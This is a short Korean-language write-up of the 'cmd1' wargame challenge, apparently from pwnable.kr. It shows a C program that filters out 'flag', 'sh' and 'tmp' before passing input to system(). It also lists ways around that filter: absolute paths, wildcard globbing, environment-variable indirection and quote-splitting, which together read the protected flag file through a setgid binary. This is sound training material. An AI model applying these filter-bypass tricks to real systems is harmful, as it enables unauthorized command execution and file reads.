<코드>
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
<exploit>
PATH 환경변수 - 명령을 찾기 위해 검색할 디렉토리 지정
putenv("PATH=/~") // 기존 PATH 환경변수를 덮어씀!
-> cat 명령어 쓰려면 /bin/cat 이렇게 명령어 위치 절대경로로 나타내기
-> 리눅스 명령어들은 모두 /bin 디렉토리 아래에 있구나
char *strstr(const char *string1, const char *string2);
string1에서 string2의 첫 번째 표시 시작 위치에 대한 포인터를 리턴
string2가 string1에 나타나지 않으면 null 리턴
system 함수가 리턴되려면 filter(argv[1]) 리턴값이 0이어야 함
즉 strstr(argv[1], 문자열) 리턴값이 모두 NULL이어야 함.
즉 argv[1]에 flag, sh, tmp가 들어있으면 안된다
그러면 뭐 ./cmd1 '/bin/cat fla*' 이렇게 하면 되겄네!
cf) ./cmd1에 setgid 설정되어있어서 플래그 파일 읽을 수 있다
<exploit2>
환경변수에 flag 이름을 변수로 등록해서 필터링 우회 (서브쉘에서도 접근ok)
$[변수명] 통해 특정 환경변수의 값만 확인할 수 있음!
cmd1@pwnable:~$ export x=./flag # 혹은 /home/cmd1/flag
cmd1@pwnable:~$ ./cmd1 '/bin/cat $x'
mommy now I get what PATH environment is for :)
<exploit3>
flag 필터링되어있을때
- fl*
- f??? (글자 수만큼 ? 추가)
- fl[0-z][0-z]
- fl'a'g (리눅스 명령어 중간에 ' 넣어도 제대로 동작 ex) 'l's -l )